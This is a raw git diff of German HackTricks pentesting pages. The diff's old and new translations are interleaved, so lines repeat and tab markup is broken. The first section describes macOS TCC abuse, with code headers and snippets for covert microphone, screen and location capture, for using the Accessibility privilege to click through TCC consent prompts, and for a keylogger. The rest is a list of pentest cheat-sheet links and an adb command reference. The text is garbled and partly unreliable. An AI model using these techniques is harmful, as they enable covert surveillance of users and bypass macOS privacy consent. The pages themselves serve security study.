{% endtab %}
{% tab title="undefined" %}
{% tab title="ObjectiveC - Überprüfung" %}
Überprüfen Sie, ob die App Zugriff auf das Mikrofon hat.
{% endtab %}
{% tab title="undefined" %}
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -594,8 +573,7 @@ static void telegram(int argc, const char **argv) {
{% endtab %}
{% tab title="Shell" %}
Nehmen Sie eine 5-sekündige Audioaufnahme auf und speichern Sie sie in `/tmp/recording.wav`.
Nehmen Sie 5 Sekunden Audio auf und speichern Sie es in `/tmp/recording.wav`
```bash
# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
@ -608,7 +586,7 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
### Standort
{% hint style="success" %}
Damit eine App den Standort erhalten kann, müssen die **Standortdienste** (unter Datenschutz & Sicherheit) **aktiviert sein**, sonst kann die App nicht darauf zugreifen.
Damit eine App den Standort abrufen kann, müssen die **Standortdienste** (unter Datenschutz & Sicherheit) **aktiviert sein,** andernfalls kann sie nicht darauf zugreifen.
{% endhint %}
* **Berechtigung**: `com.apple.security.personal-information.location`
@ -617,7 +595,6 @@ Damit eine App den Standort erhalten kann, müssen die **Standortdienste** (unte
{% tabs %}
{% tab title="ObjectiveC" %}
Schreibe den Standort in `/tmp/logs.txt`
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -666,23 +643,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
```
{% endtab %}
{% tab title="undefined" %}
Zugriff auf den Speicherort erhalten
{% endtab %}
{% tab title="undefined" %}
{% tab title="Shell" %}
Zugriff auf den Standort erhalten
```
???
```
{% endtab %}
{% endtabs %}
### Bildschirmaufnahme
* **Berechtigung**: Keine
* **TCC**: `kTCCServiceScreenCapture`
{% tab title="undefined" %}
{% tabs %}
{% tab title="undefined" %}
Nehmen Sie den Hauptbildschirm für 5 Sekunden in `/tmp/screen.mov` auf.
{% endtab %}
{% tab title="undefined" %}
{% tab title="ObjectiveC" %}
Nehmen Sie den Hauptbildschirm für 5 Sekunden in `/tmp/screen.mov` auf
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -739,29 +715,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
{% endtab %}
{% tab title="Shell" %}
Nehmen Sie den Hauptbildschirm für 5 Sekunden auf
Den Hauptbildschirm für 5 Sekunden aufnehmen
```bash
screencapture -V 5 /tmp/screen.mov
```
{% endtab %}
{% endtabs %}
{% endtab %}
{% tab title="undefined" %}
#### Barrierefreiheit
{% endtab %}
### Barrierefreiheit
{% tab title="undefined" %}
* **Berechtigung**: Keine
* **TCC**: `kTCCServiceAccessibility`
{% endtab %}
{% tab title="undefined" %}
Verwenden Sie das TCC-Privileg, um die Kontrolle über den Finder zu übernehmen, indem Sie die Eingabetaste drücken und auf diese Weise TCC umgehen.
{% endtab %}
Verwenden Sie das TCC-Privileg, um die Kontrolle über den Finder durch Drücken der Eingabetaste zu akzeptieren und TCC auf diese Weise zu umgehen.
{% tab title="undefined" %}
{% tabs %}
{% tab title="TCC akzeptieren" %}
```objectivec
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
@ -816,7 +785,6 @@ return 0;
{% tab title="Keylogger" %}
Speichern Sie die gedrückten Tasten in **`/tmp/keystrokes.txt`**
```objectivec
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
@ -924,19 +892,20 @@ return 0;
{% endtabs %}
{% hint style="danger" %}
**Barrierefreiheit ist eine sehr mächtige Berechtigung**, die man auch auf andere Weise missbrauchen kann. Zum Beispiel könnte man den **Tastenanschlagangriff** direkt darüber ausführen, ohne Systemereignisse aufrufen zu müssen.
**Zugänglichkeit ist eine sehr mächtige Berechtigung**, Sie könnten sie auf andere Weise missbrauchen, zum Beispiel könnten Sie den **Tastatureingriffe-Angriff** nur darüber durchführen, ohne Systemereignisse aufrufen zu müssen.
{% endhint %}
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,75 +1,14 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{% embed url="https://www.thehacker.recipes/" %}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{% embed url="https://gtfobins.github.io/" %}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{% embed url="https://hideandsec.sh/" %}
{% embed url="https://cheatsheet.haax.fr/" %}
{% embed url="https://infosecwriteups.com/" %}
{% embed url="https://www.exploit-db.com/" %}
{% embed url="https://wadcoms.github.io/" %}
{% embed url="https://lolbas-project.github.io" %}
{% embed url="https://pentestbook.six2dez.com/" %}
{% embed url="https://www.hackingarticles.in/" %}
{% embed url="https://pentestlab.blog/" %}
{% embed url="https://ippsec.rocks/" %}
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
**Adb befindet sich normalerweise in:**
@ -21,99 +22,19 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
#MacOS
/Users/<username>/Library/Android/sdk/platform-tools/adb
```
**Information obtained from:** [**http://adbshell.com/**](http://adbshell.com)
**Informationen erhalten von:** [**http://adbshell.com/**](http://adbshell.com)
# Verbindung
## ADB over USB
To establish a connection between your computer and an Android device using ADB over USB, follow these steps:
1. Enable USB debugging on the Android device.
2. Connect the Android device to your computer using a USB cable.
3. Open a terminal or command prompt on your computer.
4. Navigate to the directory where the ADB executable is located.
5. Run the following command to check if the device is connected:
```bash
adb devices
```
6. If the device is listed, you can proceed with executing ADB commands.
## ADB over Wi-Fi
To establish a connection between your computer and an Android device using ADB over Wi-Fi, follow these steps:
1. Connect the Android device to your computer using a USB cable.
2. Enable USB debugging on the Android device.
3. Open a terminal or command prompt on your computer.
4. Navigate to the directory where the ADB executable is located.
5. Run the following command to check if the device is connected:
```bash
adb devices
```
6. If the device is listed, run the following command to enable ADB over Wi-Fi:
```bash
adb tcpip 5555
```
7. Disconnect the USB cable from the Android device.
8. Find the IP address of the Android device. You can check it in the device settings or by running the following command:
```bash
adb shell ip -f inet addr show wlan0
```
9. Run the following command to connect to the Android device over Wi-Fi:
```bash
adb connect <device_ip_address>:5555
```
10. If the connection is successful, you can proceed with executing ADB commands.
## ADB over TCP/IP
To establish a connection between your computer and an Android device using ADB over TCP/IP, follow these steps:
1. Connect the Android device to your computer using a USB cable.
2. Enable USB debugging on the Android device.
3. Open a terminal or command prompt on your computer.
4. Navigate to the directory where the ADB executable is located.
5. Run the following command to check if the device is connected:
```bash
adb devices
```
6. If the device is listed, run the following command to enable ADB over TCP/IP:
```bash
adb tcpip <port_number>
```
7. Disconnect the USB cable from the Android device.
8. Run the following command to connect to the Android device over TCP/IP:
```bash
adb connect <device_ip_address>:<port_number>
```
9. If the connection is successful, you can proceed with executing ADB commands.
```
adb devices
```
Dies listet die verbundenen Geräte auf; wenn "_**unauthorisiert**_" angezeigt wird, bedeutet dies, dass Sie Ihr **Mobilgerät** **entsperren** und die Verbindung **akzeptieren** müssen.
Dies listet die verbundenen Geräte auf; wenn "_**unauthorisiert**_" erscheint, bedeutet dies, dass Sie Ihr **Mobilgerät** **entsperren** und die Verbindung **akzeptieren** müssen.
Dies gibt dem Gerät an, dass es einen adb-Server auf Port 5555 starten muss:
Dies zeigt dem Gerät an, dass es einen adb-Server auf Port 5555 starten muss:
```
adb tcpip 5555
```
Verbinde mit dieser IP und diesem Port:
Verbinde dich mit dieser IP und diesem Port:
```
adb connect <IP>:<PORT>
```
@ -121,11 +42,11 @@ Wenn Sie einen Fehler wie den folgenden in einer virtuellen Android-Software (wi
```
adb server version (41) doesn't match this client (36); killing...
```
Es liegt daran, dass du versuchst, dich mit einem ADB-Server mit einer anderen Version zu verbinden. Versuche einfach, die adb-Binärdatei zu finden, die die Software verwendet (gehe zu `C:\Program Files\Genymobile\Genymotion` und suche nach adb.exe).
Es liegt daran, dass Sie versuchen, sich mit einem ADB-Server einer anderen Version zu verbinden. Versuchen Sie einfach, die adb-Binärdatei zu finden, die die Software verwendet (gehen Sie zu `C:\Program Files\Genymobile\Genymotion` und suchen Sie nach adb.exe)
## Mehrere Geräte
Immer wenn du **mehrere Geräte mit deinem Computer verbunden** findest, musst du angeben, auf welchem Gerät du den adb-Befehl ausführen möchtest.
Wann immer Sie **mehrere Geräte, die mit Ihrem Computer verbunden sind** finden, müssen Sie **angeben, in welchem** Sie den adb-Befehl ausführen möchten.
```bash
adb devices
List of devices attached
@ -138,9 +59,9 @@ adb -s 127.0.0.1:5555 shell
x86_64:/ # whoami
root
```
## Port-Tunneling
## Port Tunneling
Falls der **adb-Port** auf dem Android-Gerät nur von **localhost** aus **zugänglich** ist, Sie jedoch über SSH-Zugriff verfügen, können Sie den Port 5555 **weiterleiten** und eine Verbindung über adb herstellen:
Falls der **adb** **Port** nur von **localhost** auf dem Android-Gerät **zugänglich** ist, aber **Sie über SSH Zugriff haben**, können Sie **den Port 5555 weiterleiten** und sich über adb verbinden:
```bash
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
adb connect 127.0.0.1:5555
@ -149,7 +70,7 @@ adb connect 127.0.0.1:5555
## Installieren/Deinstallieren
### adb install \[Option] \<Pfad>
### adb install \[option] \<path>
```bash
adb install test.apk
@ -166,8 +87,6 @@ adb install -d test.apk # allow version code downgrade
adb install -p test.apk # partial application install
```
### adb deinstallieren \[Optionen] \<PAKET>
Dieser Befehl wird verwendet, um eine Android-App von einem Gerät zu deinstallieren. Das \<PAKET> Argument gibt den Paketnamen der App an, die deinstalliert werden soll. Es können auch verschiedene Optionen angegeben werden, um das Verhalten des Befehls anzupassen.
```bash
adb uninstall com.test.app
@ -177,7 +96,7 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p
Gibt alle Pakete aus, optional nur diejenigen, deren Paketname den Text in \<FILTER> enthält.
### adb shell pm list packages \[Optionen] \<FILTER-STR>
### adb shell pm list packages \[options] \<FILTER-STR>
```bash
adb shell pm list packages <FILTER-STR>
@ -199,13 +118,13 @@ adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to quer
```
### adb shell pm path \<PACKAGE>
Gibt den Pfad zur APK der angegebenen \<PACKAGE> aus.
Gibt den Pfad zur APK des angegebenen Pakets aus.
```bash
adb shell pm path com.android.phone
```
### adb shell pm clear \<PACKAGE>
Löscht alle Daten, die mit einer Anwendung verknüpft sind.
Löscht alle mit einem Paket verbundenen Daten.
```bash
adb shell pm clear com.test.abc
```
@ -213,27 +132,27 @@ adb shell pm clear com.test.abc
### adb pull \<remote> \[local]
Laden Sie eine bestimmte Datei von einem Emulator/Gerät auf Ihren Computer herunter.
Lädt eine bestimmte Datei von einem Emulator/ Gerät auf Ihren Computer herunter.
```bash
adb pull /sdcard/demo.mp4 ./
```
### adb push \<local> \<remote>
Laden Sie eine bestimmte Datei von Ihrem Computer auf einen Emulator/ein Gerät hoch.
Laden Sie eine bestimmte Datei von Ihrem Computer auf einen Emulator/ ein Gerät hoch.
```bash
adb push test.apk /sdcard
```
# Screencapture/Screenrecord
### adb shell screencap \<Dateiname>
### adb shell screencap \<filename>
Erstellen eines Screenshots des Gerätedisplays.
Ein Screenshot des Gerätdisplays aufnehmen.
```bash
adb shell screencap /sdcard/screen.png
```
### adb shell screenrecord \[Optionen] \<Dateiname>
### adb shell screenrecord \[options] \<filename>
Aufzeichnen der Anzeige von Geräten mit Android 4.4 (API-Level 19) und höher.
Aufzeichnen des Displays von Geräten, die Android 4.4 (API-Stufe 19) und höher ausführen.
```bash
adb shell screenrecord /sdcard/demo.mp4
adb shell screenrecord --size <WIDTHxHEIGHT>
@ -242,27 +161,27 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
adb shell screenrecord --rotate # Rotates 90 degrees
adb shell screenrecord --verbose
```
(press Ctrl-C to stop recording)
(Drücken Sie Strg-C, um die Aufnahme zu stoppen)
**Sie können die Dateien (Bilder und Videos) mit dem Befehl** _**adb pull**_ **herunterladen**
**Sie können die Dateien (Bilder und Videos) mit **_**adb pull**_ herunterladen**
# Shell
### adb shell
Erhalten Sie eine Shell innerhalb des Geräts
Erhalten Sie eine Shell im Gerät
```bash
adb shell
```
### adb shell \<CMD>
Führe einen Befehl innerhalb des Geräts aus.
Führen Sie einen Befehl auf dem Gerät aus
```bash
adb shell ls
```
## pm
Die folgenden Befehle werden innerhalb einer Shell ausgeführt.
Die folgenden Befehle werden innerhalb einer Shell ausgeführt
```bash
pm list packages #List installed packages
pm path <package name> #Get the path to the apk file of tha package
@ -273,13 +192,13 @@ input [text|keyevent] #Send keystrokes to device
```
# Prozesse
Wenn Sie die PID des Prozesses Ihrer Anwendung erhalten möchten, können Sie Folgendes ausführen:
Wenn Sie die PID des Prozesses Ihrer Anwendung erhalten möchten, können Sie ausführen:
```bash
adb shell ps
```
Und suche nach deiner Anwendung
Und suchen Sie nach Ihrer Anwendung
Oder du kannst auch
Oder Sie können tun
```bash
adb shell pidof com.your.application
```
@ -289,51 +208,26 @@ Und es wird die PID der Anwendung ausgeben
```bash
adb root
```
Startet den adbd-Daemon mit Root-Berechtigungen neu. Anschließend musst du dich erneut mit dem ADB-Server verbinden und du wirst Root-Zugriff haben (falls verfügbar).
Restartet den adbd-Daemon mit Root-Rechten. Dann müssen Sie sich erneut mit dem ADB-Server verbinden und Sie werden Root sein (sofern verfügbar).
```bash
adb sideload <update.zip>
```
# Protokolle
flashing/restoring Android update.zip Pakete.
# Logs
## Logcat
Um die Nachrichten nur einer Anwendung zu filtern, erhalten Sie die PID der Anwendung und verwenden Sie grep (Linux/MacOS) oder findstr (Windows), um die Ausgabe von logcat zu filtern:
Um **die Nachrichten nur einer Anwendung zu filtern**, erhalten Sie die PID der Anwendung und verwenden Sie grep (linux/macos) oder findstr (windows), um die Ausgabe von logcat zu filtern:
```bash
adb logcat | grep 4526
adb logcat | findstr 4526
```
### adb logcat \[Option] \[Filter-Spezifikationen]
Die `adb logcat`-Befehl ermöglicht es, die Logcat-Meldungen von einem Android-Gerät abzurufen. Logcat ist ein Systemprotokoll, das Informationen über verschiedene Ereignisse und Fehler auf dem Gerät protokolliert. Mit diesem Befehl können verschiedene Optionen und Filter-Spezifikationen angegeben werden, um die Art der abgerufenen Logcat-Meldungen zu steuern.
#### Optionen:
- `-v <Format>`: Gibt das gewünschte Format für die Logcat-Meldungen an. Mögliche Werte sind `brief`, `process`, `tag`, `thread`, `raw`, `time`, `threadtime` und `long`.
- `-d`: Gibt die letzten Logcat-Meldungen aus und beendet den Befehl.
- `-f <Datei>`: Speichert die Logcat-Meldungen in einer Datei.
- `-r <Anzahl>`: Rotiert die Logcat-Ausgabe nach einer bestimmten Anzahl von Bytes.
- `-n <Anzahl>`: Behält nur eine bestimmte Anzahl von rotierten Logcat-Dateien.
- `-c`: Löscht die Logcat-Puffer vor dem Abrufen der Meldungen.
- `-s <Filter-Spezifikation>`: Filtert die Logcat-Meldungen basierend auf einer bestimmten Filter-Spezifikation.
- `-e <Filter-Spezifikation>`: Filtert die Logcat-Meldungen aus, die der angegebenen Filter-Spezifikation entsprechen.
- `-i`: Ignoriert alle Meldungen, die nicht mit dem angegebenen Filter übereinstimmen.
- `-p`: Gibt die PID (Prozess-ID) in den Logcat-Meldungen aus.
- `-t <Anzahl>`: Gibt nur die letzten N Logcat-Meldungen aus.
#### Filter-Spezifikationen:
Die Filter-Spezifikationen ermöglichen es, die Logcat-Meldungen basierend auf verschiedenen Kriterien zu filtern. Hier sind einige Beispiele für Filter-Spezifikationen:
- `*:S`: Zeigt alle Meldungen mit dem Tag "S" an.
- `MyApp:D *:S`: Zeigt alle Debug-Meldungen der App "MyApp" und alle Meldungen mit dem Tag "S" an.
- `*:W | MyApp:E`: Zeigt alle Warnungen und Fehler der App "MyApp" an.
- `*:I MyApp:V`: Zeigt alle Informationen der App "MyApp" an.
Es gibt viele weitere Optionen und Filter-Spezifikationen, die verwendet werden können, um die Logcat-Meldungen nach Bedarf anzupassen.
### adb logcat \[option] \[filter-specs]
```bash
adb logcat
```
Notizen: Drücken Sie Strg-C, um die Überwachung zu stoppen.
Notes: Drücken Sie Ctrl-C, um die Überwachung zu stoppen
```bash
adb logcat *:V # lowest priority, filter to only show Verbose level
@ -350,8 +244,6 @@ adb logcat *:F # filter to only show Fatal level
adb logcat *:S # Silent, highest priority, on which nothing is ever printed
```
### adb logcat -b \<Buffer>
Dieser Befehl ermöglicht es, den Logcat-Puffer auf einem Android-Gerät abzurufen. Der Parameter \<Buffer> gibt an, welcher Puffer abgerufen werden soll.
```bash
adb logcat -b # radio View the buffer that contains radio/telephony related messages.
@ -371,9 +263,9 @@ adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
```
## dumpsys
dumps system data
Systemdaten dumpen
### adb shell dumpsys \[Optionen]
### adb shell dumpsys \[options]
```bash
adb shell dumpsys
@ -381,11 +273,11 @@ adb shell dumpsys meminfo
adb shell dumpsys battery
```
Notizen: Ein mobiles Gerät mit aktivierten Entwickleroptionen, das Android 5.0 oder höher ausführt.
Notes: Ein mobiles Gerät mit aktivierten Entwickleroptionen, das Android 5.0 oder höher ausführt.
```bash
adb shell dumpsys batterystats collects battery data from your device
```
Notizen: [Battery Historian](https://github.com/google/battery-historian) wandelt diese Daten in eine HTML-Visualisierung um. **SCHRITT 1** _adb shell dumpsys batterystats > batterystats.txt_ **SCHRITT 2** _python historian.py batterystats.txt > batterystats.html_
Hinweise: [Battery Historian](https://github.com/google/battery-historian) konvertiert diese Daten in eine HTML-Visualisierung. **SCHRITT 1** _adb shell dumpsys batterystats > batterystats.txt_ **SCHRITT 2** _python historian.py batterystats.txt > batterystats.html_
```bash
adb shell dumpsys batterystats --reset erases old collection data
```
@ -393,7 +285,7 @@ adb shell dumpsys activity
# Backup
Sichern Sie ein Android-Gerät über adb.
Sichern Sie ein Android-Gerät von adb.
```bash
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
# -apk -- Include APK from Third partie's applications
@ -409,16 +301,17 @@ Wenn Sie den Inhalt des Backups inspizieren möchten:
```bash
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
```
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Grundlagen von Android-Anwendungen
# Android-Anwendungsgrundlagen
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
